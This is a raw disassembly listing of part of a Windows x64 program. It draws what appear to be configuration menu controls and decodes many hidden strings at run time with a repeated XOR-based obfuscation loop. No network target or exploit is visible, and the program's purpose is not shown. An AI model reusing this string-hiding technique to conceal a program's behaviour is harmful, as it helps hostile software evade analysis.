mov rcx, rbx
call fcn.14003e980
call fcn.14001de70
mov rbx, rax
mov rcx, qword [0x140323380]
movss xmm0, dword [0x140323b70]
movss dword [rbp + 0x4c0], xmm0
movss xmm1, dword [0x140323b74]
movss dword [rbp + 0x4c4], xmm1
movss xmm0, dword [0x140323b78]
movss dword [rbp + 0x4c8], xmm0
movss xmm1, dword [0x140323b7c]
mulss xmm1, dword [rcx + 0x37d0]
movss dword [rbp + 0x4cc], xmm1
lea rcx, [rbp + 0x4c0]
call fcn.14001a080
movss xmm1, dword [rbp + 0x444]
subss xmm1, dword [rsi + 0x3820]
addss xmm1, dword [rbp + 0x44c]
movss xmm3, dword [rbp + 0x448]
movaps xmm0, xmm3
addss xmm0, xmm12
movss dword [rbp + 0x2d8], xmm0
movss dword [rbp + 0x2dc], xmm1
movss xmm1, dword [rsi + 0x3820]
movaps xmm0, xmm1
subss xmm0, xmm15
addss xmm0, dword [rbp + 0x44c]
addss xmm0, xmm1
addss xmm3, xmm10
addss xmm3, dword [rsi + 0x381c]
movss dword [rbp + 0x328], xmm3
movss dword [rbp + 0x32c], xmm0
mov dword [rsp + 0x28], edi
movss xmm0, dword [0x1400d9f6c]
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rbp + 0x2d8]
lea rdx, [rbp + 0x328]
mov rcx, rbx
call fcn.14003e980
movss xmm1, dword [rsi + 0x3820]
addss xmm1, xmm1
addss xmm1, dword [0x1400d9fd8]
movss xmm0, dword [rsi + 0x381c]
addss xmm0, xmm0
movss dword [rbp + 0x2d0], xmm0
movss dword [rbp + 0x2d4], xmm1
lea rcx, [rbp + 0x2d0]
call fcn.14002a710
call fcn.14002aa60
movss xmm1, dword [rsi + 0x381c]
mulss xmm1, xmm7
movaps xmm0, xmm12
subss xmm0, xmm1
movss dword [rbp + 0x2c8], xmm0
mov dword [rbp + 0x2cc], 0x420c0000
mov byte [rbp - 0x78], 0xc1
mov byte [rbp - 0x77], 0xe8
mov byte [rbp - 0x76], 0xed
mov byte [rbp - 0x75], 0xe9
mov byte [rbp - 0x74], 0xe7
mov byte [rbp - 0x73], 0xf6
mov byte [rbp - 0x72], 0x87
movzx eax, byte [rbp - 0x78]
mov r9, rdi
movabs rbx, 0xd2581fe459f40a88
mov r10, rbx
lea rax, [rbp - 0x78]
sub r10, rax
nop word [rax + rax]
lea rdx, [rbp - 0x78]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rbx
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 - 0x78], al
inc r9
cmp r9, 7
jb 0x1400747e0
mov rax, qword [0x140323590]
cmp dword [rax], 0
sete cl
mov dword [rsp + 0x20], edi
lea r9, [rbp + 0x2c8]
lea r8, [rbp - 0x78]
mov rdx, qword [0x140323408]
call fcn.14004baa0
test al, al
je 0x14007484f
mov rax, qword [0x140323590]
mov dword [rax], edi
movss xmm1, dword [rsi + 0x381c]
mulss xmm1, xmm7
movaps xmm0, xmm12
subss xmm0, xmm1
movss dword [rbp + 0x2c0], xmm0
mov dword [rbp + 0x2c4], 0x420c0000
mov byte [rbp - 0x58], Ordinal_200
mov byte [rbp - 0x57], 0xf7
mov byte [rbp - 0x56], 0xee
mov byte [rbp - 0x55], 0xe1
mov byte [rbp - 0x54], 0xf8
mov byte [rbp - 0x53], 0xf7
mov byte [rbp - 0x52], 0xeb
mov byte [rbp - 0x51], reloc.WS2_32.dll___WSAFDIsSet
movzx eax, byte [rbp - 0x58]
mov r9, rdi
movabs r11, 0x9778a225a403d596
mov r10, r11
lea rax, [rbp - 0x58]
sub r10, rax
lea rdx, [rbp - 0x58]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r11
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 - 0x58], al
inc r9
cmp r9, 8
jb 0x1400748b0
mov rax, qword [0x140323590]
cmp dword [rax], 1
sete cl
mov dword [rsp + 0x20], edi
lea r9, [rbp + 0x2c0]
lea r8, [rbp - 0x58]
mov rdx, qword [0x140323410]
call fcn.14004baa0
test al, al
je 0x140074923
mov rax, qword [0x140323590]
mov dword [rax], 1
movss xmm1, dword [rsi + 0x381c]
mulss xmm1, xmm7
movaps xmm0, xmm12
subss xmm0, xmm1
movss dword [rbp + 0x340], xmm0
mov dword [rbp + 0x344], 0x420c0000
mov byte [rbp + 0x10], 0x63
mov byte [rbp + 0x11], 0x5b
mov byte [rbp + 0x12], Ordinal_79
mov byte [rbp + 0x13], 0x42
mov byte [rbp + 0x14], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x15], Ordinal_45
mov byte [rbp + 0x16], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x17], gethostname
mov byte [rbp + 0x18], 0x49
movzx eax, byte [rbp + 0x10]
mov r9, rdi
mov r10, r12
lea rax, [rbp + 0x10]
sub r10, rax
nop
lea rdx, [rbp + 0x10]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r12
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x10], al
inc r9
cmp r9, 9
jb 0x140074980
mov rax, qword [0x140323590]
cmp dword [rax], 2
sete cl
mov dword [rsp + 0x20], edi
lea r9, [rbp + 0x340]
lea r8, [rbp + 0x10]
mov rdx, qword [0x140323428]
call fcn.14004baa0
test al, al
je 0x1400749f3
mov rax, qword [0x140323590]
mov dword [rax], 2
call fcn.14002ab90
movss xmm0, dword [rsi + 0x3820]
movaps xmm1, xmm0
subss xmm1, xmm15
addss xmm1, xmm0
movss xmm0, dword [rsi + 0x381c]
addss xmm0, xmm12
movss dword [rbp + 0x338], xmm0
movss dword [rbp + 0x33c], xmm1
lea rcx, [rbp + 0x338]
call fcn.14002a710
mov rcx, qword [0x140323590]
mov edx, dword [rcx]
test edx, edx
je 0x140076132
sub edx, 1
je 0x1400751c8
cmp edx, 1
jne 0x140076b86
call fcn.14002aa60
movss xmm0, dword [rsi + 0x3820]
addss xmm0, xmm0
subss xmm0, xmm8
movss xmm2, dword [rbp + 0x444]
subss xmm2, xmm0
mulss xmm2, xmm6
addss xmm2, xmm9
movss xmm1, dword [rsi + 0x381c]
mulss xmm1, xmm7
addss xmm1, xmm13
movss xmm0, dword [rbp + 0x440]
subss xmm0, xmm1
mulss xmm0, xmm6
movss dword [rbp + 0x320], xmm0
movss dword [rbp + 0x324], xmm2
mov byte [rbp - 0x40], 0x63
mov byte [rbp - 0x3f], 0x7b
mov byte [rbp - 0x3e], WSASetLastError
mov byte [rbp - 0x3d], 0x62
mov byte [rbp - 0x3c], 0
mov byte [rbp - 0x3b], listen
mov byte [rbp - 0x3a], 3
mov byte [rbp - 0x39], reloc.WS2_32.dll_socket
mov byte [rbp - 0x38], 0x49
movzx eax, byte [rbp - 0x40]
mov r9, rdi
mov r10, r12
lea rax, [rbp - 0x40]
sub r10, rax
nop dword [rax]
lea rdx, [rbp - 0x40]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r12
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 - 0x40], al
inc r9
cmp r9, 9
jb 0x140074af0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x320]
lea rcx, [rbp - 0x40]
call fcn.1400214a0
mov rdx, qword [0x140323590]
add rdx, 8
mov byte [rbp + 0x190], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x191], 0x53
mov byte [rbp + 0x192], Ordinal_35
mov byte [rbp + 0x193], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x194], Ordinal_45
mov byte [rbp + 0x195], Ordinal_45
mov byte [rbp + 0x196], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x197], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x198], Ordinal_60
mov byte [rbp + 0x199], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x19a], reloc.WS2_32.dll_select
mov byte [rbp + 0x19b], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x19c], 0x3d
mov byte [rbp + 0x19d], 0x3f
mov byte [rbp + 0x19e], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x19f], Ordinal_60
mov byte [rbp + 0x1a0], gethostname
mov byte [rbp + 0x1a1], Ordinal_79
movzx eax, byte [rbp + 0x190]
mov r10, rdi
movabs rbx, 0x8247598e098acc3e
mov r11, rbx
lea rax, [rbp + 0x190]
sub r11, rax
nop word [rax + rax]
lea r8, [rbp + 0x190]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rbx
shr rax, cl
and al, 0xf
add r8b, r11b
xor al, r8b
xor al, r9b
mov byte [rbp + r10 + 0x190], al
inc r10
cmp r10, 0x12
jb 0x140074bf0
lea rcx, [rbp + 0x190]
call fcn.14004dbb0
mov rdx, qword [0x140323590]
add rdx, 7
mov byte [rbp + 0xc0], 0xe3
mov byte [rbp + 0xc1], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xc2], 0xca
mov byte [rbp + 0xc3], 0xde
mov byte [rbp + 0xc4], Ordinal_217
mov byte [rbp + 0xc5], Ordinal_211
mov byte [rbp + 0xc6], 0xc9
mov byte [rbp + 0xc7], Ordinal_211
mov byte [rbp + 0xc8], Ordinal_217
mov byte [rbp + 0xc9], 0xde
mov byte [rbp + 0xca], 0xa5
mov byte [rbp + 0xcb], 0xc9
movzx eax, byte [rbp + 0xc0]
mov r10, rdi
movabs rbx, 0x6f4383e9054d20b6
mov r11, rbx
lea rax, [rbp + 0xc0]
sub r11, rax
nop dword [rax]
lea r8, [rbp + 0xc0]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rbx
shr rax, cl
and al, 0xf
add r8b, r11b
xor al, r8b
xor al, r9b
mov byte [rbp + r10 + 0xc0], al
inc r10
cmp r10, 0xc
jb 0x140074cc0
lea rcx, [rbp + 0xc0]
call fcn.14004dbb0
mov rdx, qword [0x140323590]
add rdx, 4
mov byte [rbp + 0x80], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x81], 0xe4
mov byte [rbp + 0x82], Ordinal_200
mov byte [rbp + 0x83], 0xdd
mov byte [rbp + 0x84], Ordinal_211
mov byte [rbp + 0x85], Ordinal_200
mov byte [rbp + 0x86], Ordinal_200
mov byte [rbp + 0x87], 0xc0
mov byte [rbp + 0x88], Ordinal_211
mov byte [rbp + 0x89], 0xa4
movzx eax, byte [rbp + 0x80]
mov r10, rdi
movabs rbx, 0x20f10334c391f99e
mov r11, rbx
lea rax, [rbp + 0x80]
sub r11, rax
nop
lea r8, [rbp + 0x80]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rbx
shr rax, cl
and al, 0xf
add r8b, r11b
xor al, r8b
xor al, r9b
mov byte [rbp + r10 + 0x80], al
inc r10
cmp r10, 0xa
jb 0x140074d80
lea rcx, [rbp + 0x80]
call fcn.14004dbb0
mov rdx, qword [0x140323590]
add rdx, 6
mov byte [rbp + 0xe0], 0xe3
mov byte [rbp + 0xe1], 0xde
mov byte [rbp + 0xe2], 0xdb
mov byte [rbp + 0xe3], Ordinal_211
mov byte [rbp + 0xe4], 0xe0
mov byte [rbp + 0xe5], Ordinal_143
mov byte [rbp + 0xe6], 0xa1
mov byte [rbp + 0xe7], 0xad
mov byte [rbp + 0xe8], 0xb5
mov byte [rbp + 0xe9], 0xa1
mov byte [rbp + 0xea], 0xa3
mov byte [rbp + 0xeb], 0xa9
mov byte [rbp + 0xec], Ordinal_200
movzx eax, byte [rbp + 0xe0]
mov r10, rdi
movabs rbx, 0x7d8ab9b20ce05abc
mov r11, rbx
lea rax, [rbp + 0xe0]
sub r11, rax
nop dword [rax]
nop dword [rax + rax]
lea r8, [rbp + 0xe0]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rbx
shr rax, cl
and al, 0xf
add r8b, r11b
xor al, r8b
xor al, r9b
mov byte [rbp + r10 + 0xe0], al
inc r10
cmp r10, 0xd
jb 0x140074e60
lea rcx, [rbp + 0xe0]
call fcn.14004dbb0
mov rdx, qword [0x140323590]
add rdx, 9
mov byte [rbp], 0x63
mov byte [rbp + 1], 0x56
mov byte [rbp + 2], 0x55
mov byte [rbp + 3], 0x41
mov byte [rbp + 4], 0x69
mov byte [rbp + 5], 4
mov byte [rbp + 6], reloc.WS2_32.dll_sendto
mov byte [rbp + 7], reloc.WS2_32.dll_socket
mov byte [rbp + 8], 0x49
movzx eax, byte [rbp]
mov r10, rdi
mov r11, r12
lea rax, [rbp]
sub r11, rax
nop dword [rax]
lea r8, [rbp]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r12
shr rax, cl
and al, 0xf
add r8b, r11b
xor al, r8b
xor al, r9b
mov byte [rbp + r10], al
inc r10
cmp r10, 9
jb 0x140074ef0
lea rcx, [rbp]
call fcn.14004dbb0
mov dword [rbp + 0x2f8], 0x42f00000
mov dword [rbp + 0x2fc], 0x41a00000
mov byte [rbp - 0x70], 0xd5
mov byte [rbp - 0x6f], 0xef
mov byte [rbp - 0x6e], 0xec
mov byte [rbp - 0x6d], 0xe4
mov byte [rbp - 0x6c], 0xe9
mov byte [rbp - 0x6b], 0xe6
mov byte [rbp - 0x6a], 0x87
movzx eax, byte [rbp - 0x70]
mov r9, rdi
movabs rbx, 0xd2581fe459f40a88
mov r10, rbx
lea rax, [rbp - 0x70]
sub r10, rax
nop
lea rdx, [rbp - 0x70]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rbx
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 - 0x70], al
inc r9
cmp r9, 7
jb 0x140074f80
xor r8d, r8d
lea rdx, [rbp + 0x2f8]
lea rcx, [rbp - 0x70]
call fcn.14004c530
test al, al
jne 0x140076d65
call fcn.140021580
call fcn.14002ab90
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.14002a660
call fcn.14002aa60
movss xmm0, dword [rsi + 0x3820]
addss xmm0, xmm0
subss xmm0, xmm8
movss xmm2, dword [rbp + 0x444]
subss xmm2, xmm0
mulss xmm2, xmm6
addss xmm2, xmm9
movss xmm1, dword [rsi + 0x381c]
mulss xmm1, xmm7
addss xmm1, xmm14
movss xmm0, dword [rbp + 0x440]
subss xmm0, xmm1
mulss xmm0, xmm6
movss dword [rbp + 0x330], xmm0
movss dword [rbp + 0x334], xmm2
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x330]
lea rcx, str.CONFIG
call fcn.1400214a0
mov dword [rbp + 0x2f0], 0x42a00000
mov dword [rbp + 0x2f4], 0x42a00000
xor r8d, r8d
lea rdx, [rbp + 0x2f0]
lea rcx, str.Save_Config
call fcn.14004c530
test al, al
je 0x140075115
mov byte [rbp - 0x10], reloc.WS2_32.dll_WSAStartup
mov byte [rbp - 0xf], 4
mov byte [rbp - 0xe], 0x66
mov byte [rbp - 0xd], 0x55
mov byte [rbp - 0xc], Ordinal_50
mov byte [rbp - 0xb], 0x25
mov byte [rbp - 0xa], Ordinal_35
mov byte [rbp - 9], Ordinal_45
mov byte [rbp - 8], 0x49
movzx eax, byte [rbp - 0x10]
mov r10, rdi
mov r11, r12
lea rax, [rbp - 0x10]
sub r11, rax
nop dword [rax + rax]
lea r8, [rbp - 0x10]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rdx, r12
shr rdx, cl
and dl, 0xf
lea eax, [r8 + r11]
xor dl, al
xor dl, r9b
mov byte [rbp + r10 - 0x10], dl
inc r10
cmp r10, 9
jb 0x1400750d0
lea rcx, [rbp - 0x10]
call fcn.140069230
mov dword [rbp + 0x2e8], 0x42a00000
mov dword [rbp + 0x2ec], 0x42a00000
xor r8d, r8d
lea rdx, [rbp + 0x2e8]
lea rcx, str.Load_Config
call fcn.14004c530
test al, al
je 0x140076b7c
mov byte [rbp - 0x20], reloc.WS2_32.dll_WSAStartup
mov byte [rbp - 0x1f], 4
mov byte [rbp - 0x1e], 0x66
mov byte [rbp - 0x1d], 0x55
mov byte [rbp - 0x1c], Ordinal_50
mov byte [rbp - 0x1b], 0x25
mov byte [rbp - 0x1a], Ordinal_35
mov byte [rbp - 0x19], Ordinal_45
mov byte [rbp - 0x18], 0x49
movzx eax, byte [rbp - 0x20]
mov r9, rdi
mov r10, r12
lea rax, [rbp - 0x20]
sub r10, rax
nop dword [rax]
lea rdx, [rbp - 0x20]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r12
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 - 0x20], al
inc r9
cmp r9, 9
jb 0x140075180
lea rcx, [rbp - 0x20]
call fcn.140069990
jmp 0x140076b7c
call fcn.14002aa60
movss xmm0, dword [rsi + 0x3820]
addss xmm0, xmm0
subss xmm0, xmm8
movss xmm2, dword [rbp + 0x444]
subss xmm2, xmm0
mulss xmm2, xmm6
addss xmm2, xmm9
movss xmm1, dword [rsi + 0x381c]
mulss xmm1, xmm7
addss xmm1, xmm13
movss xmm0, dword [rbp + 0x440]
subss xmm0, xmm1
mulss xmm0, xmm6
movss dword [rbp + 0x300], xmm0
movss dword [rbp + 0x304], xmm2
mov byte [rbp - 0x60], Ordinal_200
mov byte [rbp - 0x5f], Ordinal_217
mov byte [rbp - 0x5e], 0xce
mov byte [rbp - 0x5d], 0xc1
mov byte [rbp - 0x5c], Ordinal_217
mov byte [rbp - 0x5b], Ordinal_217
mov byte [rbp - 0x5a], 0xcb
mov byte [rbp - 0x59], reloc.WS2_32.dll___WSAFDIsSet
movzx eax, byte [rbp - 0x60]
mov r9, rdi
movabs r11, 0x9778a225a403d596
mov r10, r11
lea rax, [rbp - 0x60]
sub r10, rax
nop
lea rdx, [rbp - 0x60]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r11
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 - 0x60], al
inc r9
cmp r9, 8
jb 0x140075260
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x300]
lea rcx, [rbp - 0x60]
call fcn.1400214a0
mov rdx, qword [0x140323670]
add rdx, 0xc
mov byte [rbp + 0x160], 0x75
mov byte [rbp + 0x161], 0x54
mov byte [rbp + 0x162], 0x5d
mov byte [rbp + 0x163], 0x5b
mov byte [rbp + 0x164], 0x5a
mov byte [rbp + 0x165], 0x5e
mov byte [rbp + 0x166], Ordinal_26
mov byte [rbp + 0x167], 0x61
mov byte [rbp + 0x168], Ordinal_41
mov byte [rbp + 0x169], gethostname
mov byte [rbp + 0x16a], Ordinal_60
mov byte [rbp + 0x16b], Ordinal_41
mov byte [rbp + 0x16c], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x16d], Ordinal_60
mov byte [rbp + 0x16e], 0x44
movzx eax, byte [rbp + 0x160]
mov r10, rdi
movabs rbx, 0xe2056d1f866a2638
mov r11, rbx
lea rax, [rbp + 0x160]
sub r11, rax
nop word [rax + rax]
lea r8, [rbp + 0x160]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rbx
shr rax, cl
and al, 0xf
add r8b, r11b
xor al, r8b
xor al, r9b
mov byte [rbp + r10 + 0x160], al
inc r10
cmp r10, 0xf
jb 0x140075350
lea rcx, [rbp + 0x160]
call fcn.14004dbb0
mov edx, 4
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x140323c90], eax
jle 0x1400755dc
lea rcx, [0x140323c90]
call fcn.1400bafa8
movabs rbx, 0x50e1fec558179c0c
cmp dword [0x140323c90], 0xffffffff
jne 0x1400755e6
mov byte [rsp + 0x78], 0x46
mov byte [rsp + 0x79], 0x78
mov byte [rsp + 0x7a], WSASetLastError
mov byte [rsp + 0x7b], 0x6a
mov byte [rsp + 0x7c], reloc.WS2_32.dll_socket
movzx eax, byte [rsp + 0x78]
mov r9, rdi
mov r10, rbx
lea rax, [rsp + 0x78]
sub r10, rax
nop dword [rax]
lea rdx, [rsp + 0x78]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rbx
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0x78], al
inc r9
cmp r9, 5
jb 0x140075410
lea rax, [rsp + 0x78]
mov qword [0x1403239d0], rax
mov byte [rbp - 0x30], reloc.WS2_32.dll_WSAStartup
mov byte [rbp - 0x2f], 0x51
mov byte [rbp - 0x2e], 0x48
mov byte [rbp - 0x2d], 0x58
mov byte [rbp - Ordinal_45], 0x2c
mov byte [rbp - 0x2b], Ordinal_50
mov byte [rbp - 0x2a], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp - 0x29], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp - 0x28], 0x49
movzx eax, byte [rbp - 0x30]
mov r9, rdi
mov r10, r12
lea rax, [rbp - 0x30]
sub r10, rax
nop dword [rax]
lea rdx, [rbp - 0x30]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r12
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 - 0x30], al
inc r9
cmp r9, 9
jb 0x140075490
lea rax, [rbp - 0x30]
mov qword [0x1403239d8], rax
mov byte [rbp + 0x1c0], 0x64
mov byte [rbp + 0x1c1], 0x54
mov byte [rbp + 0x1c2], 0x3e
mov byte [rbp + 0x1c3], Ordinal_45
mov byte [rbp + 0x1c4], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x1c5], 0x66
mov byte [rbp + 0x1c6], 9
mov byte [rbp + 0x1c7], Ordinal_50
mov byte [rbp + 0x1c8], Ordinal_41
mov byte [rbp + 0x1c9], Ordinal_45
mov byte [rbp + 0x1ca], Ordinal_50
mov byte [rbp + 0x1cb], 0x3f
mov byte [rbp + 0x1cc], Ordinal_41
mov byte [rbp + 0x1cd], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x1ce], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x1cf], Ordinal_41
mov byte [rbp + 0x1d0], Ordinal_50
mov byte [rbp + 0x1d1], Ordinal_79
movzx eax, byte [rbp + 0x1c0]
mov r9, rdi
movabs r11, 0x8247598e098acc3e
mov r10, r11
lea rax, [rbp + 0x1c0]
sub r10, rax
nop dword [rax]
nop dword [rax + rax]
lea rdx, [rbp + 0x1c0]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r11
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x1c0], al
inc r9
cmp r9, 0x12
jb 0x140075580
lea rax, [rbp + 0x1c0]
mov qword [0x1403239e0], rax
lea rcx, [0x140323c90]
call fcn.1400baf3c
jmp 0x1400755e6
movabs rbx, 0x50e1fec558179c0c
mov rdx, qword [0x140323670]
add rdx, 0x10
mov byte [rbp + 0xf0], 0xf5
mov byte [rbp + 0xf1], Ordinal_217
mov byte [rbp + 0xf2], Ordinal_217
mov byte [rbp + 0xf3], Ordinal_217
mov byte [rbp + 0xf4], 0xac
mov byte [rbp + 0xf5], 0xaa
mov byte [rbp + 0xf6], 0xee
mov byte [rbp + 0xf7], 0x81
mov byte [rbp + 0xf8], 0xa9
mov byte [rbp + 0xf9], 0xb6
mov byte [rbp + 0xfa], 0xaa
mov byte [rbp + 0xfb], 0xbf
mov byte [rbp + 0xfc], Ordinal_200
movzx eax, byte [rbp + 0xf0]
mov r10, rdi
movabs r13, 0x7d8ab9b20ce05abc
mov r11, r13
lea rax, [rbp + 0xf0]
sub r11, rax
nop dword [rax]
lea r8, [rbp + 0xf0]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r13
shr rax, cl
and al, 0xf
add r8b, r11b
xor al, r8b
xor al, r9b
mov byte [rbp + r10 + 0xf0], al
inc r10
cmp r10, 0xd
jb 0x140075670
movabs r13, 0xa3aa1c6fb1285a0e
lea rcx, [rbp + 0xf0]
call fcn.14004dbb0
mov rax, qword [0x140323670]
cmp byte [rax + 0x10], 0
je 0x14007577a
lea rdx, [rax + 8]
mov byte [rbp + 0x20], WSAStartup
mov byte [rbp + 0x21], 0x51
mov byte [rbp + 0x22], 0x42
mov byte [rbp + 0x23], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x24], Ordinal_30
mov byte [rbp + 0x25], Ordinal_60
mov byte [rbp + 0x26], 0x34
mov byte [rbp + 0x27], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x28], 0x49
movzx eax, byte [rbp + 0x20]
mov r10, rdi
mov r11, r12
lea rax, [rbp + 0x20]
sub r11, rax
lea r8, [rbp + 0x20]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r12
shr rax, cl
and al, 0xf
add r8b, r11b
xor al, r8b
xor al, r9b
mov byte [rbp + r10 + 0x20], al
inc r10
cmp r10, 9
jb 0x140075711
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 3
lea r9, [0x1403239d0]
lea r8, [fcn.140050070]
lea rcx, [rbp + 0x20]
call fcn.140050090
mov rax, qword [0x140323670]
lea rdx, [rax + 0xf]
mov byte [rbp - 0x50], 0x63
mov byte [rbp - 0x4f], 0x55
mov byte [rbp - 0x4e], 0x5f
mov byte [rbp - 0x4d], 0x5a
mov byte [rbp - 0x4c], Ordinal_45
mov byte [rbp - 0x4b], gethostname
mov byte [rbp - 0x4a], Ordinal_45
mov byte [rbp - 0x49], Ordinal_45
mov byte [rbp - 0x48], 0x49
movzx eax, byte [rbp - 0x50]
mov r10, rdi
mov r11, r12
lea rax, [rbp - 0x50]
sub r11, rax
nop dword [rax]
nop word [rax + rax]
lea r8, [rbp - 0x50]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r12
shr rax, cl
and al, 0xf
add r8b, r11b
xor al, r8b
xor al, r9b
mov byte [rbp + r10 - 0x50], al
inc r10
cmp r10, 9
jb 0x1400757c0
lea rcx, [rbp - 0x50]
call fcn.14004dbb0
mov rdx, qword [0x140323670]
add rdx, 0x11
mov byte [rsp + 0x68], Ordinal_79
mov byte [rsp + 0x69], 0x64
mov byte [rsp + 0x6a], WSASetLastError
mov byte [rsp + 0x6b], 0x63
mov byte [rsp + 0x6c], reloc.WS2_32.dll_socket
movzx eax, byte [rsp + 0x68]
mov r10, rdi
mov r11, rbx
lea rax, [rsp + 0x68]
sub r11, rax
nop dword [rax + rax]
lea r8, [rsp + 0x68]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rbx
shr rax, cl
and al, 0xf
add r8b, r11b
xor al, r8b
xor al, r9b
mov byte [rsp + r10 + 0x68], al
inc r10
cmp r10, 5
jb 0x140075840
lea rcx, [rsp + 0x68]
call fcn.14004dbb0
mov rdx, qword [0x140323670]
add rdx, 0x14
mov byte [rbp + 0x70], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x71], 0x57
mov byte [rbp + 0x72], 0x49
mov byte [rbp + 0x73], 0x42
mov byte [rbp + 0x74], Ordinal_41
mov byte [rbp + 0x75], Ordinal_45
mov byte [rbp + 0x76], Ordinal_41
mov byte [rbp + 0x77], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x78], 0x49
movzx eax, byte [rbp + 0x70]
mov r10, rdi
mov r11, r12
lea rax, [rbp + 0x70]
sub r11, rax
nop word [rax + rax]
lea r8, [rbp + 0x70]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r12
shr rax, cl
and al, 0xf
add r8b, r11b
xor al, r8b
xor al, r9b
mov byte [rbp + r10 + 0x70], al
inc r10
cmp r10, 9
jb 0x1400758d0
